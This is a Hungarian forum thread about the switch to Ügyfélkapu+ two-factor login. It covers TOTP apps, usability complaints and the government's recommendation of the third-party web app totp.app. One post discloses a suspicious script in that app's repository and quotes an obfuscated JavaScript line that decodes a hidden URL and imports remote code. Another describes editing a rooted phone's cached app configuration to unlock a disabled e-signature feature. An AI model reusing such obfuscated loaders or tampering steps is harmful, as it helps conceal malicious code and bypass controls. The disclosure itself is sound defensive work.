Chipkártya végülis most is van, vegyél egy yubikey-t és tedd bele az ügyfélkapus TOTP-det és probléma letudva. Annál kétfaktorabb nem is lehetne és biztonságos, mert nem lehet kiszedni belőle a kulcsot.

Passkey is lehet, hogy majd lesz a jövőben, de az még nagyon gyerekcipőben jár, az lesz majd a TPM-es megoldás. (hogy nyígtak az egész TPM ellen pár éve az "okosok")

Biztonsági rendszereket, új authentikációs módokat nem az alapján vezetünk be, hogy a kérdéses rendszer ellen tavaly hány sikeres támadás történt, hanem iparági szabványokat és javaslatokat követünk, amik a teljes világon előforduló támadások elemzésén alapulnak.

És persze nem is tudjuk, hogy hány ilyen visszaélés történt, lehet, hogy sok, lehet, hogy egy sem, de jövőre mondjuk rámozdulnak a bűnözők és csinálnának 10.000-et. És nem akkor kellene segget vakarni, hogy ja a név-jelszó már 10 éves is szar megoldás volt, keressünk akkor valami újat, hanem menjünk a probléma elébe, tudjuk, hogy könnyedén kivitelezhetőek ezek a támadások, hát akkor most vezessünk be egy jobbat.

Egyelőre hivatalos forrásból nem jött, hogy csak a DÁP maradna, de itt a HUP-on is sokan véltek rendelkezni olyan információval, hogy az Ügyfélkapu+ meg fog szűnni és csak a DÁP lesz. Tehát ez így nekem megfelel, amíg így van.

Yubikey-t megnézem, ez tetszik. A TPM-et nem mint jó példa említeném, mert az egész felépítése nem tetszik. Arra hoztam csak példának, hogy a technológia rendelkezésre áll a PC-ben is, tehát ez nem érv a telefonok kizárólagossá tételére.

Biztonsági rendszereket, új authentikációs módokat nem az alapján vezetünk be, hogy a kérdéses rendszer ellen tavaly hány sikeres támadás történt, hanem iparági szabványokat és javaslatokat követünk, amik a teljes világon előforduló támadások elemzésén alapulnak.

Akkor most mi alapján van bevezetve? A mondat első fele és a második fele ellentmond egymásnak. Igen, nálunk a CENELEC fronton is általában van előregondolkodás is, de inkább a korábbi tapasztalatok szülik az újabb szabványokat.

Mi mondd ellent egymásnak? Azt mondtad nem tudsz róla, hogy sokan vagy bárki kihasználta volna az ügyfélkapu gyenge authentikációját. Erre mondtam, hogy mindegy, hogy volt-e kihasználva. Security evidencia sok éve, hogy a név-jelszó önmagában gyenge védelem, ezért lett több éve(!) bevezetve a TOTP, most pedig a még erősebb védelmet adó DÁP, ahol is kulcspárral azonosit, amiből a titkos kulcs hardveresen védett tárterületen van, ahonnan nem kiolvasható.

Hol látsz ellentmondást?

( Mik v | 2024. 11. 12., k – 07:51 )

Szerkesztve: 2024. 11. 12., k – 07:51

Nemide

( mackosajt | 2024. 11. 22., p – 11:35 )

Sziasztok!

Ha már van ez a fórum, akkor gondoltam ide leírom, hogy milyen problémába ütköztem a ügyfélkapu+-ra váltás kapcsán.

Megpróbáltam igényelni az ügyfélkapu+-t, el is jutottam a folyamatban odáig, hogy beolvastam a QR kódot és az authenticator generált nekem egy kódot, ezt követően meg kellene adni újra a bejelentkezési jelszót és a 6 jegyű kódot, hogy tovább tudjak lépni a folyamatban, de a rendszer ezek megadása után azt írja, hogy a sikertelen mentés, mert hogy a felhasználónév (amit be sem kért a továbblépés előtt!) és jelszó érvénytelen. WTF? Azokkal léptembe és kezdeményeztem az igénylést... Próbáltam firefox-ból, chromiumból, PC-ről, mobil telefonról, jelszókezelőből kitöltve, kézzel beírva, minden esetben ugyanott akadt el a folyamat. Más is találkozott hasonlóval, vagy csak én vagyok ilyen "szerencsés"? 

A rejtély közben megoldódott. A jelszó kezelőben két különböző címmel és két különböző URL-lel voltak elmentve a belépési adatok és ezek szerint az oldalon is különböző hivatkozások vannak, ezért hol az egyikből, hol a másikból szedte a jelszót. És nyilván a két tárolt információ közül az egyik már elavult volt. Ezért volt az, hogy amikor kézzel próbáltam beírni, akkor is a rosszat gépeltem be. Egy szó, mint száz, ez most user error volt 8-)

Nálam az volt a vicc, hogy elvileg az ügyfélkapu jelszavam 11.14-én lejárt, de simán bejelentkeztem vele, és megcsináltam a üfk+-t, kaptam is auth kódot, de csak a sima ügyfélkapuval tudtam bejelentkezni. Majd jelszó változtatás után ismét üfk+ regisztráció és onnantól már csak üfk+ működik. Esetleg cseréld le a jelszót te is és fuss neki mégegyszer.

( sibike | 2024. 12. 02., h – 10:24 )

Ma reggelre az sima ügyfélkapus login page, nem tölti ki automatikusan a felhasználónevet, és csak akkor ajánlja fel  a jelszót, ha kézzel beírom a usernevet. (Firefox/Linux) Valaki tud erre megoldást?

Azért hat számjegyet begépelni 30s alatt nem gondolom, hogy lehetetlen feladat -még idős korban sem. Ja, és ha jól emlékszem +/- 1 kódot elfogad... Egyébként a Google Authenticator-ban a kódtól jobbra van egy kördiagram, ami mutatja, hol tart épp az idő - ha lassan megy a szám bemásolása a böngészőbe, akkor célszerű megvárni, amíg "tele" karika lesz, és úgy elkezdeni - akkor van ugyanis 30s ideje - vagy random TOTP alkalmazásban meg azt kell megvárni, hogyváltson a szám, és akkor elkezdeni bepötyögni.

 

Mire 74 éves apukám beírja a TOTP-t, addigra lejár. Értem, hogy biztonság, de vannak akikkel ez ki.aszás.

Ó, nem kell ehhez 74 évesnek lenni, meg nem kell hozzá ügyfélkapu.

Netbank weben: nem mértem meg, de érzésre még 5 perc inaktivitást sem enged meg, már kidob. Hát nem tudom, én netbankolás közben szoktam más dokumentumokat is használni; néha 2-3 PDF meg a Thunderbird is nyitva van ahhoz, hogy mindent össze tudjak nézni. (Hivatali vagy banki ügyintézésnél egyébként az ügyintézők ugyanezt csinálják, csak ők még papírra ki is írják az azonosítókat, onnan gépelik vissza, aztán ha készen vagyunk, akkor az "adatvédelem" nevében (ami ugye a rövid session timeout-ot indokolja) a cetli simán megy a normál szemetesbe, amit vagy ledarálnak, vagy nem.)

Céges rendszer negyedéves (!) értékeléshez: (már régebben történt) alapos akartam lenni, a kétheti státuszaimból (6-7 db) 45 perc alatt írtam egy összefoglalót; amikor beküldtem, akkor jött az infó, hogy ja bocs, 15 perc után a session-nek vége. Bejelentettem belső hibának, válasz: "már sokan szóltak, de az IT Security szerint ez így jó, úgyhogy így marad". A második nekifutásra 2 percet szántam, mivel nyilvánvalóvá vált, hogy valójában nem érdekli a céget, hogy az elmúlt negyedévet mivel töltöttem.

Amikor a textarea változása nem reseteli a session időzítőjét, az by design nagy el... Szóval rosszul tervezett megoldás szerintem is. Ilyenbe én is belefutottam - a második alkalommal egy szövegszerkezstőben összeraktam, amit a textarea-ba írni szerettem volna, és meg volt oldva a probléma - a másolókrém (copypaszta) teljesen jól működött :-)

 

Kedvencem a random akármelyik internetes fórumok, amiknèl mobilról bepötyögve a hosszú posztot, rányomok a submit-re, ekkor kibassza a hibaüzenetet h. kiléptetett és lèpjek be megint. Amikor is eltűnt a textboxból a teljes kibaszott begépelésem.

Ennek súlyosbított esete a fostalicska android és az edge / chrome faszsága, h. az OS nem képes a 8 GB RAM-ból 1-2 kilobájtot arra fenntartani, h. a textbox-ok tartalmàt aktívan megtartsa. Így mikor kilapozódik a browser, aztán meg vissza, és újratöltődik a teljes megnyitott lap, akkor ne menjen szintén a levesbe a textbox teljes tartalma.

A hab a tortán h. PC-n windows 10 alatt a "modern" gépház és az összes többi store-os app is képes ugyanezt produkálni. Azaz a settings app-ra visszaváltva (ALT+TAB) kimerevedik pár másodpercre a kép ahol hagytam, majd fehér villanás, és a főképernyőt tölti újra.  Akár a calc.exe is... komolyan, saját tapasztalat alapján mondom és láttam. Szintén folytatnám a műveleteket a korábbi részeredményekkel. Kimerevedik a program képe, jön 1 rövid homokóra, 1 villanás, és üres history-val vár megint, mintha frissen indítottam volna.

Remélem a pokolban külön bugyor van annak a team-nek, aki miatt ez így lett megoldva.

Valaki, aki otthonos android OS és/vagy app fejlesztésben, okosítson ki miért ilyen balfaszul lett ez megcsinálva?

( renard | 2024. 12. 03., k – 17:40 )

Úgy gondoltam, hogy 2024. januárjára már elég stabil ahhoz, hogy használni is lehessen. Picit tévedtem.

...

a jelszóbeviteli mező legfeljebb 30 karaktert enged bevinni.

...

Kíváncsi leszek, hogy mikorra javítják ki ezt a hibát.

???

Annak mi köze a stabilitáshoz, hogy a jelszó hossza korlátozva van? A jelszó hosszának korlátozása miért lenne hiba?

Azt értem, hogy neked ez a korlátozás nem tetszik, győzd meg őket, hogy vagy ne legyen korlát, vagy jóval hosszabb lehessen a jelszó 30 karakternél. Engem nem fog zavarni, ha sikerrel jársz.

( Charybdis | 2025. 01. 14., k – 21:59 )

Ügyfélkapu+ aktiváláskor meg kell adni jelszót, de nem írja, hogy max. hány karakter lehet a jelszó, és milyen karakterkészletet lehet benne használni , erről tud valaki infót? Milyen speciális karaktereket enged, és max. milyen hosszú lehet? Ezt ki kéne írni előre, UX designerre nem költöttek egy fillért sem, pedig nagyon kellett volna, gondolom azt sem tudják, mi az hogy UX.

Én megcsináltam már párat, de ilyet ne láttam, hogy új jelszó kellene.

Ha belépsz az Ügyfélkapuba (ugyfelkapu.gov.hu), akkor aha kiválasztod az Ügyfélkapu+ igénylését, akkor kapsz egy QR-kódot, ha nem birod beolvasni, akkor meg átváltasza tikos kulcs megmutaátsára.

Utána az aktuális jelszavadat kéri, illetve az autentikátor alkalmazásod által generált 6 jegyű számot, amit a QR-kód beolvasásával kapsz az autentikátorban.

Nekem érdekes volt, hogy volt felhasználóm, akinél sehogy sem akart összejönni az igénylés. Ezen lépés után mindig Captcha hibára panaszkodott (több féle böngésző, inkognitó módban csinálva a lépéseket), mind a három általa kezelt Ügyfélkapu esetén. Megcsináltam a telefonján keresztül, és láss csodát, működött.

Ja hogy az az aktuális jelszó. Azt hittem, ott meg kell adni egy új jelszót, így akkor már oké. Ez megint UX design, spóroltak azon hogy felvegyenek UX designert és tesztelőt. A felhasználói felület szövegezése is UX design kategóriába esik. A fejlesztő kipróbálta, meg egy másik fejlesztő kollégája, nekik egyértelmű, aztán ennyi. Pedig egy ilyen projektnél, amit kötelező használni, milliók használják, mindenféle eszközről, mindenféle képernyőn, mindenféle tudással, itt bűn nem költeni a UX-re.

( Charybdis | 2025. 01. 15., sze – 10:27 )

Csak én akadok fenn rajta, vagy más is, hogy az Ügyfélkapu ajánlja többek között a Google és Microsoft által fejlesztett authenticator programokat? Meg valami random oldalt, a verifyr.com-ot, ott nem is tudtam kideríteni, egyáltalán kié ez az oldal, egyáltalán melyik országból? Ezek USA cégek, még csak nem is EU-s. Egy ilyen kritikus állami szolgáltatáshoz miért ajánlanak USA cég által fejlesztett szoftvert?

Persze ajánlják a NISZ hitelesítőt is, azt nem használtam még soha, vélemények alapján nem túl jó.

Az a lényeg, hogy szerintem ha már állami szolgáltatás, akkor kellene egy nyílt forráskódú, államilag fejlesztett hitelesítő alkalmazás, ami működik minden platformon (mobil, tablet, asztali gépek is, beleértve asztali Windows, Mac, Linux is), és lehessen forrásból is fordítani, aki nem bízik a binárisban. És akkor csakis ezt ajánlják, mást ne.

kellene egy nyílt forráskódú, államilag fejlesztett hitelesítő alkalmazás

De minek? Ez egy standard TOTP implementáció. Használhatsz bármit. Ha elég gyorsan számolsz fejben, akkor akár papír-ceruzát is.

Egy ilyen kritikus állami szolgáltatáshoz miért ajánlanak USA cég által fejlesztett szoftvert?

Azért ezeket ajánlják, mert jó eséllyel ez van már fent a user telefonján.

Kritikus állami infrastruktúra. Ami miatt pl. az USA is az USA-ban akarja gyártani a chipeket, meg szorítja ki a kínai technológiát, nem ad el Kínában kritikus USA technológiát stb.

Különösen azon akadtam fent, hogyan lehetséges, hogy az ügyfélkapu oldalán linkelnek a verifyr.com oldalra. Megnéztem, és nem derül ki, hogy ki a tulajdonosa, egyáltalán melyik országból üzemeltetik. Az ÁSZF-jük és az adatvédelmi szabályzat oldaluk teljesen érvénytelen, nem GDPR-kompatibilis. Eleve hiányzik belőle a jogi személy neve, székhelye. Csak a domain név van megemlítve , de az csak egy domain név. Egy domain név nem tud egy szerződést aláírni, tehát érvénytelen az egész. A domain név whois rekordja privát, abból sem derül ki semmi.

Ja meg van ennél hajmeresztőbb ajánlás is, itt: https://kau.gov.hu/dap/sugo/ugyfelkapu-plusz

Ha nincs okostelefonja vagy tabletje, a TOTP.APP webes hitelesítő alkalmazást is használhatja.

Ez a csodás weboldal angolul és oroszul érhető el (már ettől a ténytől kiver a víz, én tuti nem használnám), de semmilyen információ nincsen róla, ki a tulajdonosa. Adatvédelmi nyilatkozat egyáltalán nincs. Bővebben: https://csabamolnar.hu/2025/01/05/totp-app-mint-masodik-faktor-avagy-on…

Ki garantálja, hogy holnap ezen a TOTP.APP nem fog egy vírusos oldal megjelenni? Ki üzemeltetni ezt a csodát, ki felel a szolgáltatásért? Hogy lehet egy ilyet ajánlani egy állami, hivatalos tájékoztatóban?

Semmi nem garantálja, ahogy a többi millió külső site-ra mutató linken sem garantálja senki, hogy holnap nem virusos tartalom lesz rajta.

A totp.app -pal nem ez a probléma, hanem, hogy - mivel nincs szerver oldali kódja, igy user kezelésse sem - a browserben tárolja a secret-eket, ezért egy félresikerült cookie/history törléssel vagy gép újratelepitéssel, másik böngészőre költözéssel el is veszik minden totp secret.

Na az ilyen garantált adatvesztés egy egységsugarú user kezében. Nekik a felhős, automatikus mentés való, normális (ms, google) szolgáltatónál.

https://hup.hu/comment/3154261#comment-3154261

kellene egy nyílt forráskódú, államilag fejlesztett hitelesítő alkalmazás, ami működik minden platformon (mobil, tablet, asztali gépek is, beleértve asztali Windows, Mac, Linux is), és lehessen forrásból is fordítani, aki nem bízik a binárisban. És akkor csakis ezt ajánlják, mást ne.

Kellene a fenének még erre is elbaszni egy rakás pénzt.

Szabványos(!) authentikációt vezettek be a TOTP-vel, csilliárd 3rd party, nyilt forrású, zárt forrású, ingyenes, fizetős, cloud mentős, offline alkalmazás van hozzá.

Akit ez érdekel (userek 0,0001%-a) az állami, teljesen redundáns és felesleges totp alkalmazás nélkül is megoldja a (fejében létező) problémát.

Mi az hogy még erre is? Erre pont érdemes lenne költeni, mármint a digitalizációra. Ha minden szépen gördülékenyen, biztonságosan megy digitálisan, azzal jól jár a gazdaság, pörög a GDP (bürokrácia helyett lehet foglalkozni a termeléssel, szolgáltatással).

EU-s szinten is lehetne ezeket a nyílt forráskódú szoftvereket fejleszteni, hogy pénzt spóroljanak a tagállamok. Ugyanez a probléma fennáll mindegyik tagállamban, tehát az valóban felesleges lenne, hogy mindegyik tagállam fejlesszen magának egyet.

Az a gáz, ha az EU még egy ilyen szoftvert sem tud összehozni és USA magáncégek által fejlesztett megoldásokat kell ajánlgatnia.

Engem semmilyen ,mobiltelefon nem izgat :)

Csak az volt a felvetés, hogy miért nincs állami TOTP app, én meg rávilágítottam, hogy nem mindegy, ha az egész körítés eleve tengerentúli? Olyan lenne, mint a Hajdú kazán, amin csak a Hajdú felirat a magyar.

A DÁP-ra is azt mondják sokan, hogy államikémszoftvernemkellfúj, ha az üfk+ 2. faktorához is adnának egy egyébként szabványos TOTP-t tudó alkalmazást, azt szerinted hányan köpködnék, hogy államikémszoftvernemkellfúj, pláne, hogy kamera jog kellene neki ugye... (a QR-kód (secret) beolvasásához...)

Egyébként a vonatkozó RFC-ben ott a core kód, arra húzhat bárki felületet, adattárolást, mindent is...

Az ABEV nevű programot az állam portolta linuxra (abevjava később ÁNYK), sok csávó letöltötte és örült, hogy ment.

A Linuxot informatikusok használták és a fájlszerkezetre ránézve szétröhögte magát mindenki, hogy egyszerű fájltörléshez kilépett a shellbe és kiadta, hogy `rm torlendofile`, ezeket a parancsokat meg XML-ben tárolták.

A File.delete() metódus helyett volt itt bash, XML, meg minden más. Ment rendesen, csak nem győztünk rajta röhögni.

 

Gondolom tanultak az államigazgatásban ebből és a DÁP-nál már törvénybe ütközik, ha belenézel a programba.

Egy picit utánamentem az oldalnak.
Amellett, hogy az oldalon semmi infó/kapcsolat/ászf nincs és 2018-ban indult orosz nyelven[1], még több gyanús jelet találtam.

Az oldalhoz tartozik egy github repo[2], de csak a gh pages hosztolás miatt használják, a forráskód nincs fent.
A github repo leírása: "Sell for 10000 USD" és 2020 április óta létezik, de az egyetlen csillagozás a repo készítője.
Kiderült az is, hogy a magyar nyelvet az elmúlt 1-2 hétben adták hozzá és nem sokkal később egy inj.js fájl is bekerült a repo-ba[3].

Az inj.js betöltését a következő js kód[4] végzi:

z0=async()=>{try{const e=await import(window.atob("=Mnauombp9CcwFmLwR3b09yL6MHc0RHa".split("").reverse().join("")));typeof e.default=="function"&&await e.default()}catch{}}

Tehát a fejlesztő külön figyelt arra, hogy az url-t eldugja, amivel szerintem a statikus vírusellenőrzés ellen próbál védekezni.

A CSIRT és az Idomsoft értesítve lett már tegnap előtt. Érdemi válasz nem jött, a CSIRT-et 2x hívtam telefonon is, de csak azt mondták, hogy ami a sajtóban megjelent, az a válaszuk.  

[1]: https://web.archive.org/web/20180716194701/https://totp.app/
[2]: https://github.com/peredozo/totp.app
[3]: https://github.com/peredozo/totp.app/tree/6cc3b6457d48f5cde32975ed3a7c2…
[4]: https://github.com/peredozo/totp.app/blob/e746dd7bed28cb1293225e9eda969…

"I am completely uninterested in your opinions of what is or is not possible. This is computer science. There aren't restrictions. I can do anything I want. It's just bits. You don't own me." - cnlohr (rawdrawandroid)

Ez sem túl jó ómen (ha igaz, én nem ellenőrizem le), idézem a Telex cikkéből:

2018-as indulásakor az oldal bevételszerzési célból használatos kriptobányász kódot futtatott a háttérben

Illetve a GitHub-on a fejlesztő ikonja is vicces.

Az üffélkapu fejlesztés is ilyen kiszervezett szarság. Valami x fejlesztőcég van a lánc legeslegvégén megbízva. 
Ők nem értenek a "digitális stratégiához", nem is érdekli őket - egyszerűen nem szempont.

Ajánlanak valamit ami éppen technikailag megfelelőnek tűnik, ezzel a feladat letudva.

Ha én lennék a döntéshozó konkrétan nem lenne óriási szempont az "államilag fejlesztett".

Hanem csinálnék egy hiteles, auditált repository-t, nyílt eléréssel mindenkinek - ahová elraknám a forrásokat - ofc ha a licensz engedi.
És innen buildelném és aláírnám a binárisokat. Amiket aztán egyrészt le lehet tölteni másrészt felrakatnám a store-okba is.

Ha nincs megfelelő licenszű megoldás akkor persze fejleszte(t)ni kell - na ezeknek a forrása már viccesebb kérdés hogy mikor és mennyire tehető teljesen nyilvánossá. Erre is meg lehet találni a módszertant és a hozzáértőket hogy hamar nyilvános legyen bármi - igazából ez a munka lényegi része.

Gábriel Ákos

Nem, mert ha felmegyek egy állami weboldalra, adófizetői pénzből készült tartalmat olvasni, akkor olvassak már ott ellenőrzött, megbízható információkat.

Ha felmész egy állami egészségügyi oldalra, és ott azt olvasnád, hogy egyél minden nap sziklát, mert az egészséges, neked az is tök mindegy lenne?

Értem, de ennél sokkal durvább jogsértések is történnek idehaza.

A szabadság meg sajnos azzal jár, hogy nem lehetsz tetszőleges hülye.

 

Nálam ez a változtatás nem ütötte meg a szintet, de ha másnál kiüti a biztosítékot, elfogadom.

Értem a problémát, csak ennél sokkal durvább szemétségek is csont nélkül átmennek.

( snq- | 2025. 01. 15., sze – 10:40 )

>> működik minden platformon (mobil, tablet, asztali gépek is, beleértve asztali Windows, Mac, Linux is), és lehessen forrásból is fordítani, aki nem bízik a binárisban

referenciaként tudnál ilyen alkalmazást mutatni?

Nem értem, kértél egy appot ami opensource és erre használható minden rendszeren. Kaptál egyet. Majd azt kéred tőlem, hogy mondjam meg hogyan tudod _te_ újraforgatni és telepíteni, persze ezt _a választod rendszered_ nem könnyíti meg. Mond már meg, mit tehetek még érted, fordítsam e újra, vagy csak győzzelek meg, hogy ne használd az iOS-t?

Szerintem arra próbál utalni, hogy ez az egy kódbázisból forgassuk le telefonra meg tamagocsira és kenyérpirítóra, elég életszerűtlen (ti. már 20 éve is pont ugyanitt bukott el a Java-féle write-once-run-anywhere szlogen), mindezt úgy, hogy Kovács 2 Jóska aktatologató kisiparos otthon megcsinálhassa.

Lazán kapcsolódik, tegnap egész este rokonoknak adtam remote supportot az ÜK+ bekapcsoláshoz, szerintem még mindig vonalban lenne az anyósom, ha a TOTP klienst is mi fordítanánk le.

( Csab | 2025. 01. 15., sze – 19:17 )

Facebook gyöngyszem:

Ha kidobtak az ügyfélkapun, menj vissza a kormányablakon...

Vagy megcsinálják helyettük a könyvelők a regisztrációt, és átküldik a QR kódot (pontosabban ahogy írtad a screenshotot,mert nem tudnak képet copy-pastelni). :)

Az a baj, hogy cégvezetőként itt mindenki öltönyös urakat képzel el, nem Józsit, a kőművest, aki helyett valójában a könyvelője vezeti a cégét, nem csak könyveli. :)

Van köztes megoldás, csak akkor te dolgozol egy kicsit a könyvelőd helyett:

Megcsinálja a bevallást, átküldi az .xml-t és te küldöd be. Ebben az esetben nem kell neki hozzáférést adni. Csak, hát nem azért fizetjük őket, hogy helyettük dolgozzunk ....

trey @ gépház

Azaz ugyanúgy jogsértően járnak el... És gondolom azt nem mondják el a tisztelt ügyfelüknek, hogy ezzel egy paksaméta aláírt, üre lapot kaptak tőle, ahogy azt sem, hogy így őket semmilyen beküldött adatért, dokumentumért nem terheli felelősség - mert ők "ott sem voltak", csak maximum tanácsot adtak, hogy hogy kellene megcsinálni az adott "beadandót"...

Az appba benne van Firebase Remote Configal leküldik, hogy nincs engedélyezve így nem jelenik meg.

Ha rootolt a telefonod és átírod az appdata-ban (mert cachelt azaz amikor indult akkor még az volt) akkor lesz e-aláírásod, amit ha kipróbálsz lehet meglátogat a TEK :)

Ettől még implementálva van december vége óta. (amit szeptemberre ígértek :))

A regisztrációnál is működött (amikor már az appban benne volt az esziges regisztráció, de még a kormányablakba zavart):

https://hup.hu/comment/3108717#comment-3108717

Most van egy új eSignatureEnabled paraméter ami szerintem meg azt aktiválná.

És nem a TEK akadályoz meg benne, hanem a lustaság (be kellene fáradni a kormányablakba a rootolt telefon regisztrációjához, mert nekem másodrangú 2021.06 előtti személyim van)